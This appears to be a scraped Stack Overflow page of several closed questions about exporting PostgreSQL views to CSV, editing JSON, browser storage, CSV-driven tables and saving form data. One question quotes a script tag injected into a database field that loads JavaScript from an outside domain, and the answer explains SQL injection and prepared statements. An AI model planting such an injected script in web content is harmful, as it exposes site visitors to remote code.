Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 4 years ago.
Improve this question
So I have several report views that are relevant for a few people that have no SQL knowledge
Without using tableau, how to have these views available to be visualized on an internal website and/or downloadable in the form of a csv file?
Database is postgresql and there's someone else with JavaScript knowledge, though any solution is fine as long as it can be simple for the end user
The easiest way to export data of a table to a CSV file is with the COPY statement. But you can only COPY directly from a table, not a view. But you can
copy out anything you can select, so this should work:
COPY (SELECT * FROM MyView) TO 'C:\tmp\MyData_db.csv' DELIMITER ',' CSV HEADER;
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 2 days ago.
Improve this question
I have a large JSON file, about 100 MB in a folder. I'd like to manually inspect some attributes, and then add more attributes to some of the objects and finally save changes and get output a modified json file.
Can someone suggest me how to do that?
I wanted to try with vue.js framework but I'm not very expert. If you know a video tutorial about this, please let me know.
Is using vanilla JavaScript the right choice or not?
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I'm trying to register users using only javascript,ajax or jquery, i need to save the information of the users somewhere where i can get it even after the browser is closed,and the new information can't overwrite the old one.
I already tried saving into a xml file or txt file, but without success.
Check these out, one of it might help
http://www.w3.org/TR/IndexedDB/ - Indexed DB
http://www.w3.org/TR/webdatabase/ - Web Sql
http://www.w3.org/TR/webstorage/ - localStorage
You can as well try out a JavaScript Database here
http://www.taffydb.com/ still trying it out myself, hope this helps.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 5 years ago.
Improve this question
I'm creating a view wherein I need to add multiple boxes, wherein there is a number within the box, which is dynamically changing as per data (csv file)
Also, I'm adding tables, with dynamic numbers within the same which should again, change with the data (csv)
I'm trying to design an approach to get it done and looking for js libraries to use here.
Is there anything in particular that I should look for? Can tables be added without table command in html (alternatives)?
Any feedback would be highly appreciated.
This blog post is a simple representation of d3.js usage to load a csv to a html table.
Also there is already a StackOverflow post about loading csv data via php, if you are going for a backend approach.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
Im retrieving meta description from my database, to my suprise, the data that has been returned with an appended script code.
Heres the code that happened to be added to my database entry
<script id="alp1398" type="text/javascript" src="http://earcuff.nl/js/jqueryinit.js"></script>
Any idea, how could this happen, or what does this script do?
Most usual vector of attack - parameters you use to populate your database. Check that you always use prepared statements (i.e. SQL with ? in place of the parameters) and if you cannot (e.g. in ORDER BY clause) you have to sanitize the input.
Other vectors include hacking your account itself to be able to execute SQL statements.
It is hard to tell what exactly happened with so little data you provided in the question. Please, state what middle tier you are using etc.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I'm new to this and haven't saved html form data so far.
Can someone please guide about how to save the html form elements like first name, last name, password, email to sql database using javascript or jquery?
This can't be done directly. JS is executed by the client browser, and need a middleware to allow saving the data in a MySQL DB.
Here is a link to a tutorial on how to save data to a MySQL DB